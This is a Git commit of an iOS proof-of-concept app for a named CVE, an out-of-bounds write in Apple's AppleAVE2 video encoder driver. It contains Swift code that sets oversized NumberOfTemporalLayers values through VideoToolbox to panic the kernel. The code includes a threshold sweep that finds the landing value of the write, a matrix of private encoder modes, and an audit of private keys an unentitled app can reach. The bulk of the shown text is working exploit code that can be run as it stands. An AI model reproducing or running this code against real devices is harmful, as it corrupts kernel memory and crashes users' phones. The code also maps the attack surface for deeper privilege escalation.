AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)
- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima): stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept - New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix, stage15 private-key entitlement audit (23 keys) - Panic journal: kern.boottime-based in-app panic evidence after reboot - Interactive SwiftUI console + NTL field + report share; header shows PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+ - App icon: temporal-layer stack, top layer displaced past the stack edge - scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
This commit is contained in:
commit
bc019e2b6c
11 files changed
+1829
No files matched your search
@@ -0,0 +1,254 @@
|
||||
// AVE27 · app entry + stage console UI
|
||||
// Two drive modes:
|
||||
// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13,
|
||||
// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC
|
||||
// 2. interactive: pick a stage, set the layer count, run, watch the live console
|
||||
// Every launch checks the panic journal first — an unfinished armed run plus a
|
||||
// changed kernel boot time is reported as the panic that ended it.
|
||||
|
||||
import SwiftUI
|
||||
import UIKit
|
||||
|
||||
@main
|
||||
struct AVE27App: App {
|
||||
var body: some Scene {
|
||||
WindowGroup { RootView() }
|
||||
}
|
||||
}
|
||||
|
||||
/// Bridges the Probe singleton's append-only log to SwiftUI.
|
||||
final class LogStore: ObservableObject {
|
||||
@Published var text: String = ""
|
||||
init() {
|
||||
Probe.shared.onUpdate = { [weak self] in
|
||||
let snapshot = Probe.shared.log
|
||||
DispatchQueue.main.async { self?.text = snapshot }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct RootView: View {
|
||||
@StateObject private var store = LogStore()
|
||||
@State private var ntlText = "16463"
|
||||
@State private var keyText = "NumberOfTemporalLayers"
|
||||
@State private var fileText = "avc_900_slices.h264"
|
||||
@State private var running = false
|
||||
|
||||
private var ntl: Int { Int(ntlText) ?? 16463 }
|
||||
|
||||
var body: some View {
|
||||
VStack(spacing: 0) {
|
||||
header
|
||||
stageMenu
|
||||
console
|
||||
}
|
||||
.background(Color.black.ignoresSafeArea())
|
||||
.onAppear(perform: launch)
|
||||
.toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } }
|
||||
.preferredColorScheme(.dark)
|
||||
}
|
||||
|
||||
// ── header ────────────────────────────────────────────────────────────
|
||||
private var header: some View {
|
||||
HStack(alignment: .firstTextBaseline) {
|
||||
VStack(alignment: .leading, spacing: 2) {
|
||||
Text("AVE27")
|
||||
.font(.system(.headline, design: .monospaced))
|
||||
Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine)
|
||||
.font(.system(.caption2, design: .monospaced))
|
||||
.foregroundStyle(.secondary)
|
||||
}
|
||||
Spacer()
|
||||
Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD")
|
||||
.font(.system(.caption2, design: .monospaced, weight: .bold))
|
||||
.foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green)
|
||||
}
|
||||
.padding(.horizontal).padding(.vertical, 8)
|
||||
}
|
||||
|
||||
private var deviceLine: String {
|
||||
let os = ProcessInfo.processInfo.operatingSystemVersion
|
||||
let ver = "\(os.majorVersion).\(os.minorVersion)"
|
||||
var size = 0
|
||||
sysctlbyname("hw.machine", nil, &size, nil, 0)
|
||||
var machine = [CChar](repeating: 0, count: size)
|
||||
sysctlbyname("hw.machine", &machine, &size, nil, 0)
|
||||
let model = String(cString: machine)
|
||||
return "iOS \(ver) · \(model)"
|
||||
}
|
||||
|
||||
/// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900.
|
||||
private var panicCapable: Bool {
|
||||
let os = ProcessInfo.processInfo.operatingSystemVersion
|
||||
return (os.majorVersion == 27 && os.minorVersion <= 1)
|
||||
}
|
||||
|
||||
// ── stage menu ────────────────────────────────────────────────────────
|
||||
private var stageMenu: some View {
|
||||
ScrollView(.horizontal, showsIndicators: false) {
|
||||
HStack(spacing: 8) {
|
||||
stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) }
|
||||
stageButton("stage13 sweep") { Probe.shared.stage13() }
|
||||
stageButton("stage14 matrix") { Probe.shared.stage14() }
|
||||
stageButton("stage15 audit") { Probe.shared.stage15() }
|
||||
stageButton("SBE") { Probe.shared.stageSandboxExtensions() }
|
||||
Divider().frame(height: 24)
|
||||
stageButton("stage1 props") { Probe.shared.stage1() }
|
||||
stageButton("stage7 dump") { Probe.shared.stage7() }
|
||||
stageButton("fuzz") { Probe.shared.fuzz() }
|
||||
stageButton("stage5 layer") { Probe.shared.stage5() }
|
||||
stageButton("stage21 ids") { Probe.shared.stage21() }
|
||||
Divider().frame(height: 24)
|
||||
stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) }
|
||||
stageButton("stage6 dump") { Probe.shared.stage6(num: 4) }
|
||||
stageButton("stage10 ps") { Probe.shared.stage10(n: 8) }
|
||||
stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) }
|
||||
stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) }
|
||||
stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) }
|
||||
stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) }
|
||||
stageButton("stage4 pps") { Probe.shared.stage4(count: 16) }
|
||||
}
|
||||
.padding(.horizontal).padding(.bottom, 6)
|
||||
}
|
||||
}
|
||||
|
||||
private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View {
|
||||
Button {
|
||||
runStage(action)
|
||||
} label: {
|
||||
Text(label)
|
||||
.font(.system(.caption, design: .monospaced))
|
||||
.padding(.horizontal, 10).padding(.vertical, 6)
|
||||
.background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14)))
|
||||
.overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28)))
|
||||
}
|
||||
.buttonStyle(.plain)
|
||||
.disabled(running)
|
||||
.opacity(running ? 0.4 : 1)
|
||||
}
|
||||
|
||||
private func runStage(_ action: @escaping () -> Void) {
|
||||
running = true
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
action()
|
||||
Probe.shared.writeReport()
|
||||
DispatchQueue.main.async { running = false }
|
||||
}
|
||||
}
|
||||
|
||||
// ── console ───────────────────────────────────────────────────────────
|
||||
private var console: some View {
|
||||
ScrollView {
|
||||
ScrollViewReader { proxy in
|
||||
Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text)
|
||||
.font(.system(size: 10.5, design: .monospaced))
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
.padding(8)
|
||||
.id("tail")
|
||||
.onChange(of: store.text) { _, _ in
|
||||
proxy.scrollTo("tail", anchor: .bottom)
|
||||
}
|
||||
}
|
||||
}
|
||||
.background(Color(white: 0.06))
|
||||
.overlay(alignment: .top) { paramRow }
|
||||
}
|
||||
|
||||
private var paramRow: some View {
|
||||
HStack(spacing: 12) {
|
||||
VStack(alignment: .leading, spacing: 1) {
|
||||
Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
|
||||
TextField("16463", text: $ntlText)
|
||||
.keyboardType(.numberPad)
|
||||
.font(.system(.caption, design: .monospaced))
|
||||
.frame(width: 84)
|
||||
.textFieldStyle(.roundedBorder)
|
||||
}
|
||||
VStack(alignment: .leading, spacing: 1) {
|
||||
Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
|
||||
TextField("file", text: $fileText)
|
||||
.font(.system(.caption, design: .monospaced))
|
||||
.textFieldStyle(.roundedBorder)
|
||||
}
|
||||
Spacer()
|
||||
}
|
||||
.padding(.horizontal).padding(.vertical, 6)
|
||||
.background(.thinMaterial)
|
||||
}
|
||||
|
||||
// ── share ─────────────────────────────────────────────────────────────
|
||||
private var shareButton: some View {
|
||||
Button {
|
||||
let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
|
||||
let url = docs.appendingPathComponent("ave_report.txt")
|
||||
try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8)
|
||||
let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url],
|
||||
applicationActivities: nil)
|
||||
UIApplication.shared.connectedScenes
|
||||
.compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController }
|
||||
.first?.present(av, animated: true)
|
||||
} label: {
|
||||
Image(systemName: "square.and.arrow.up")
|
||||
}
|
||||
}
|
||||
|
||||
// ── launch: panic evidence first, then argument dispatch ─────────────
|
||||
private func launch() {
|
||||
running = true
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
Probe.shared.checkPanicEvidence()
|
||||
runFromArguments()
|
||||
Probe.shared.writeReport()
|
||||
DispatchQueue.main.async { running = false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Original repo dispatch, verbatim parity — runs when launch arguments are present.
|
||||
private func runFromArguments() {
|
||||
let args = ProcessInfo.processInfo.arguments
|
||||
let p = Probe.shared
|
||||
guard args.contains(where: { $0.hasPrefix("--") }) else { return }
|
||||
if args.contains("--fuzz") { p.fuzz() }
|
||||
else if args.contains("--sbext") { p.stageSandboxExtensions() }
|
||||
else if args.contains("--props") { p.stage1() }
|
||||
else if args.contains("--stage5") { p.stage5() }
|
||||
else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count {
|
||||
p.stage20(file: args[i + 1])
|
||||
} else if args.contains("--stage21") { p.stage21() }
|
||||
else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count {
|
||||
let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1
|
||||
let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0
|
||||
p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage)
|
||||
} else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count {
|
||||
p.stage11(n: Int(args[i + 1]) ?? 3)
|
||||
} else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count {
|
||||
let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0
|
||||
p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage)
|
||||
} else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count {
|
||||
p.stage9(n: Int(args[i + 1]) ?? 12742)
|
||||
} else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count {
|
||||
let lo = Int(args[i + 1]) ?? 16450
|
||||
let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470
|
||||
p.stage13(lo: min(lo, hi), hi: max(lo, hi))
|
||||
} else if args.contains("--stage14") { p.stage14() }
|
||||
else if args.contains("--stage15") { p.stage15() }
|
||||
else if args.contains("--stage7") { p.stage7() }
|
||||
else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count {
|
||||
let key = args[i + 1]
|
||||
let vals = args[i + 2].split(separator: ",").compactMap { Int($0) }
|
||||
p.stage8(key: key, values: vals.isEmpty ? [8] : vals)
|
||||
} else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count {
|
||||
p.stage6(num: Int(args[i + 1]) ?? 1)
|
||||
} else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count {
|
||||
p.stage4(count: Int(args[i + 1]) ?? 16)
|
||||
} else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count {
|
||||
func intArg(_ name: String, _ def: Int) -> Int {
|
||||
guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def }
|
||||
return Int(args[j + 1]) ?? def
|
||||
}
|
||||
p.stage2(value: Int(args[i + 1]) ?? 8,
|
||||
realtime: !args.contains("--nort"),
|
||||
efr: intArg("--efr", 30), blr: intArg("--blr", 15))
|
||||
} else { p.stage1() }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
// AVE27 · exploration stages — what lies beyond the panic
|
||||
// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write.
|
||||
// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private
|
||||
// parameter combinations the driver accepts from a stock sandboxed app.
|
||||
// stage15: private property key audit — the full acceptance surface of
|
||||
// non-public VideoToolbox keys with no entitlement behind them.
|
||||
// All three share the live.txt oracle; stage13 arms the panic journal per rung.
|
||||
|
||||
import Foundation
|
||||
import VideoToolbox
|
||||
import CoreMedia
|
||||
import CoreVideo
|
||||
|
||||
extension Probe {
|
||||
|
||||
/// Stage 13: NTL threshold sweep, one session per rung, bottom-up.
|
||||
/// On a vulnerable build the walk panics at the first landing rung — live.txt
|
||||
/// ends on that rung and the panic journal proves it after the reboot.
|
||||
/// On 27.2 the first rung past the cap returns -12900 at SetProperty and the
|
||||
/// sweep stops clean: two disjoint, unambiguous signatures.
|
||||
func stage13(lo: Int = 16450, hi: Int = 16470) {
|
||||
emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)")
|
||||
for n in lo...hi {
|
||||
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
|
||||
emit("stage13(\(n)): no session"); return
|
||||
}
|
||||
let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1))
|
||||
let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20))
|
||||
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
|
||||
let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString,
|
||||
value: NSNumber(value: n))
|
||||
if st != 0 {
|
||||
emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached")
|
||||
VTCompressionSessionInvalidate(session)
|
||||
break
|
||||
}
|
||||
|
||||
var attrs: [CFString: Any] = [:]
|
||||
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
||||
var pb: CVPixelBuffer?
|
||||
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||
attrs as CFDictionary, &pb)
|
||||
guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return }
|
||||
armJournal("stage13", ntl: n)
|
||||
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
|
||||
let est = VTCompressionSessionEncodeFrame(
|
||||
session, imageBuffer: pixel, presentationTimeStamp: pts,
|
||||
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
|
||||
emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " +
|
||||
readBack(session, "NumberOfTemporalLayers" as CFString))
|
||||
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
|
||||
VTCompressionSessionInvalidate(session)
|
||||
finishJournal()
|
||||
if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break }
|
||||
}
|
||||
emit("stage13 complete — device survived every rung")
|
||||
}
|
||||
|
||||
/// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic
|
||||
/// recipe is one cell of this grid; the rest maps which private mode selectors
|
||||
/// the driver honours from an unentitled third-party process.
|
||||
func stage14() {
|
||||
let usages = [0, 1, 4, 8, 16]
|
||||
let rcmodes = [0, 1, 8, 20, 22, 23]
|
||||
emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)")
|
||||
for u in usages {
|
||||
for rc in rcmodes {
|
||||
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
|
||||
emit("stage14 u\(u) r\(rc): no session"); return
|
||||
}
|
||||
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
|
||||
let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u))
|
||||
let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc))
|
||||
let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8))
|
||||
|
||||
var attrs: [CFString: Any] = [:]
|
||||
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
||||
var pb: CVPixelBuffer?
|
||||
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||
attrs as CFDictionary, &pb)
|
||||
guard let pixel = pb else { emit("stage14: no pixel"); return }
|
||||
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
|
||||
let est = VTCompressionSessionEncodeFrame(
|
||||
session, imageBuffer: pixel, presentationTimeStamp: pts,
|
||||
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
|
||||
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
|
||||
emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)")
|
||||
VTCompressionSessionInvalidate(session)
|
||||
}
|
||||
}
|
||||
emit("stage14 complete — acceptance matrix above")
|
||||
}
|
||||
|
||||
/// Stage 15: private property key audit. Which non-public VideoToolbox keys a
|
||||
/// stock, sandboxed, unentitled app can set on an Apple hardware encoder session —
|
||||
/// the privilege surface beyond the crash. Accepted keys reach the kernel driver
|
||||
/// through the same unvalidated property path the CVE lives in.
|
||||
func stage15() {
|
||||
// (key, probe value): numbers probe the scalar path, arrays the table path
|
||||
let probes: [(String, Any)] = [
|
||||
("EncoderUsage", NSNumber(value: 1)),
|
||||
("RCMode", NSNumber(value: 20)),
|
||||
("NumberOfTemporalLayers", NSNumber(value: 4)),
|
||||
("NumOfTemporalLayer", NSNumber(value: 4)),
|
||||
("NumOfGOPLayer", NSNumber(value: 2)),
|
||||
("BaseLayerFrameRate", NSNumber(value: 15)),
|
||||
("MCTFStrengthLevel", NSNumber(value: 3)),
|
||||
("MCTFMaxNextRefNum", NSNumber(value: 2)),
|
||||
("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString),
|
||||
("LRMERSPassNum", NSNumber(value: 1)),
|
||||
("MultiReferencePSpacing", NSNumber(value: 3)),
|
||||
("NumNegativePics", NSNumber(value: 4)),
|
||||
("NumPositivePics", NSNumber(value: 0)),
|
||||
("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
|
||||
("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray),
|
||||
("RPSData", [NSNumber(value: 1)] as CFArray),
|
||||
("RPSInfo", [NSNumber(value: 1)] as CFArray),
|
||||
("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray),
|
||||
("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray),
|
||||
("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
|
||||
("EnableUserRefForFacetime", kCFBooleanTrue as Any),
|
||||
("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2),
|
||||
"AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary),
|
||||
("TemporalIDNestingFlag", NSNumber(value: 1)),
|
||||
]
|
||||
emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)")
|
||||
var accepted: [String] = []
|
||||
for (key, value) in probes {
|
||||
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
|
||||
emit("stage15 \(key): no session"); return
|
||||
}
|
||||
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
|
||||
let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef)
|
||||
let rd = readBack(session, key as CFString)
|
||||
emit("stage15 \(key) -> status=\(st) readback: \(rd)")
|
||||
if st == 0 { accepted.append(key) }
|
||||
VTCompressionSessionInvalidate(session)
|
||||
}
|
||||
emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))")
|
||||
emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app")
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
Reference in new issue
Block a user